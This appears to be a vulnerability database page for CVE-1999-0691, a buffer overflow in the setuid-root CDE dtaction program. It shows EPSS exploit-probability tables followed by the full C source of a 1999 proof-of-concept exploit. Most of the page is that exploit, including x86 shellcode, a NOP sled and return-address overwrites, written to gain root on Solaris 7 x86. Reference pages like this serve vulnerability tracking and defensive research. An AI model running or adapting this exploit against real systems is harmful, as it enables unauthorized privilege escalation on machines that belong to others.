CVE-1999-0691 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	2.05%	–	–
2022-02-13	–	–	2.05%	–	–
2022-04-03	–	–	2.05%	–	–
2022-08-28	–	–	2.05%	–	–
2023-03-12	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.37%
2025-03-30	–	–	–	–	0.37%
2025-04-15	–	–	–	–	0.37%
2025-04-15	–	–	–	–	0.37,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	56%
2022-02-13	57%
2022-04-03	78%
2022-08-28	79%
2023-03-12	–
2024-06-02	–
2025-01-19	–
2025-03-18	57%
2025-03-30	56%
2025-04-15	58%
2025-04-15	58%

/* source: https://www.securityfocus.com/bid/635/info TRU64/DIGITAL UNIX 4.0 d/e/f,AIX <= 4.3.2,Common Desktop Environment <= 2.1,IRIX <= 6.5.14,Solaris <= 7.0 dtaction Userflag Buffer Overflow Vulnerability CDE is the Common Desktop Environment, an implementation of a Desktop Manager for systems that run X. It is distributed with various commercial UNIX implementations. Under some distributions of CDE Common Desktop Environment, the dtaction program has a locally exploitable buffer overflow condition. The buffer overflow condition exists in the argument parsing code for the -u (user) function. Any information provided by the user over 1024 bytes may overwrite the buffer and in return be exploited by a malicious user. Since the dtaction program is typically installed setuid root, this make it possible for a local user to gain administrative access on a vulnerable system. */ /* * dtaction_ov.c * Job de Haas * (c) ITSX bv 1999 * * This program demonstrates an overflow problem in /usr/dt/bin/dtaction. * It has only been tested on Solaris 7 x86 * assembly code has been taken from ex_dtprintinfo86.c by unewn4th@usa.net * */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <pwd.h> #define BUFLEN 998 char exploit_code[] = "\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0" "\x8d\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff" "\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0" "\x17\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff" "\x55\x8b\xec\x83\xec\x08\xeb\x50\x33\xc0\xb0\x3b\xeb\x16\xc3\x33" "\xc0\x40\xeb\x10\xc3\x5e\x33\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88" "\x7e\x06\xeb\x05\xe8\xec\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f" "\xc3\x5e\x33\xc0\x89\x76\x08\x88\x46\x07\x89\x46\x0c\x50\x8d\x46" "\x08\x50\x8b\x46\x08\x50\xe8\xbd\xff\xff\xff\x83\xc4\x0c\x6a\x01" "\xe8\xba\xff\xff\xff\x83\xc4\x04\xe8\xd4\xff\xff\xff/bin/id"; main() { char *argp[6], *envp[3]; char buf[2048]; unsigned long *p; struct passwd *pw; int buflen; if ((pw = getpwuid(getuid())) == NULL) { perror("getpwuid"); exit(1); } buflen = BUFLEN - strlen( pw->pw_name ); memset(buf,0x90,buflen); strncpy( &buf[500], exploit_code, strlen(exploit_code)); /* set some pointers to values that keep code running */ p = (unsigned long *)&buf[buflen]; *p++ = 0x37dc779b; *p++ = 0xdfaf6502; *p++ = 0x08051230; *p++ = 0x080479b8; /* the return address. */ *p++ = 0x08047710; *p = 0; argp[0] = strdup("/usr/dt/bin/dtaction"); argp[1] = strdup("-u"); argp[2] = strdup(buf); argp[3] = strdup("Run"); argp[4] = strdup("/usr/bin/id"); argp[5] = NULL; if (!getenv("DISPLAY")) { printf("forgot to set DISPLAY\n"); exit(1); } envp[0] = malloc( strlen("DISPLAY=")+strlen(getenv("DISPLAY"))+1); strcpy(envp[0],"DISPLAY="); strcat(envp[0],getenv("DISPLAY")); envp[1] = NULL; execve("/usr/dt/bin/dtaction",argp,envp); }